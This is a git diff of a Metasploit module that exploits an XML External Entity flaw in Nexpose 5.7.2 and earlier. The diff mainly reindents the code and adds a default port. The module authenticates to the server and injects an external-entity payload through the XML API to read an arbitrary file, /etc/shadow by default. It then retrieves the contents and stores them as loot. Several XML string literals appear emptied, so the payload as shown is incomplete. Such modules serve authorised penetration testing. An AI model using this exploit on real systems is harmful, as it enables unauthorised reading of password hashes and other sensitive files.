diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index 78b6971587..e0be4a3c21 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -10,124 +10,125 @@ require 'rapid7/nexpose' class Metasploit4 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Nexpose XXE Arbitrary File Read', - 'Description' => %q{ - Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number - of vectors. This vulnerability can allow an attacker to a craft special XML that - could read arbitrary files from the filesystem. This module exploits the - vulnerability via the XML API. - }, - 'Author' => - [ - 'Brandon Perry ', # Initial discovery and Metasploit module - 'Drazen Popovic ' # Independent discovery, alternate vector - 'Bojan Zdrnja ', # Independently reported - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], - # Fill this in with the direct advisory URL from Infigo - [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] - ] - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nexpose XXE Arbitrary File Read', + 'Description' => %q{ + Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number + of vectors. This vulnerability can allow an attacker to a craft special XML that + could read arbitrary files from the filesystem. This module exploits the + vulnerability via the XML API. + }, + 'Author' => + [ + 'Brandon Perry ', # Initial discovery and Metasploit module + 'Drazen Popovic ' # Independent discovery, alternate vector + 'Bojan Zdrnja ', # Independently reported + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ], + # Fill this in with the direct advisory URL from Infigo + [ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ] + ] + )) - register_options( - [ - OptString.new('USERNAME', [true, "The Nexpose user", "user"]), - OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), - OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), - OptBool.new('SSL', [true, 'Use SSL', true]) - ], self.class) - end + register_options( + [ + Opt::RPORT(3780), + OptString.new('USERNAME', [true, "The Nexpose user", "user"]), + OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + end - def run - user = datastore['USERNAME'] - pass = datastore['PASSWORD'] - prot = datastore['SSL'] ? 'https' : 'http' + def run + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + prot = datastore['SSL'] ? 'https' : 'http' - nsc = Nexpose::Connection.new(rhost, user, pass, rport) + nsc = Nexpose::Connection.new(rhost, user, pass, rport) - print_status("Authenticating as: " << user) - begin - nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true - ) + print_status("Authenticating as: " << user) + begin + nsc.login + report_auth_info( + :host => rhost, + :port => rport, + :sname => prot, + :user => user, + :pass => pass, + :proof => '', + :active => true + ) - rescue - print_error("Error authenticating, check your credentials") - return - end + rescue + print_error("Error authenticating, check your credentials") + return + end - xml = '' - xml << '' - xml << ']>' - xml << '' + xml << ']>' + xml << '' - xml << '' - xml << '' - xml << '&xxe;' - xml << '' - xml << '' - xml << '' - xml << '' - xml << '' - xml << '' + xml << '">' + xml << '' + xml << '' + xml << '&xxe;' + xml << '' + xml << '' + xml << '' + xml << '' + xml << '' + xml << '' - print_status("Sending payload") - begin - fsa = nsc.execute(xml) - rescue - print_error("Error executing API call for site creation, ensure the filepath is correct") - return - end + print_status("Sending payload") + begin + fsa = nsc.execute(xml) + rescue + print_error("Error executing API call for site creation, ensure the filepath is correct") + return + end - doc = REXML::Document.new fsa.raw_response_data - id = doc.root.attributes["site-id"] + doc = REXML::Document.new fsa.raw_response_data + id = doc.root.attributes["site-id"] - xml = "" + xml = "" - print_status("Retrieving file") - begin - fsa = nsc.execute(xml) - rescue - nsc.site_delete id - print_error("Error retrieving the file.") - return - end + print_status("Retrieving file") + begin + fsa = nsc.execute(xml) + rescue + nsc.site_delete id + print_error("Error retrieving the file.") + return + end - doc = REXML::Document.new fsa.raw_response_data + doc = REXML::Document.new fsa.raw_response_data - print_status("Cleaning up") - begin - nsc.site_delete id - rescue - print_error("Error while cleaning up site") - return - end + print_status("Cleaning up") + begin + nsc.site_delete id + rescue + print_error("Error while cleaning up site") + return + end - if !doc.root.elements["//host"] - print_error("No file returned. Either the server is patched or the file did not exist.") - return - end + if !doc.root.elements["//host"] + print_error("No file returned. Either the server is patched or the file did not exist.") + return + end - path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") - print_good("File saved to path: " << path) - end + path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}") + print_good("File saved to path: " << path) + end end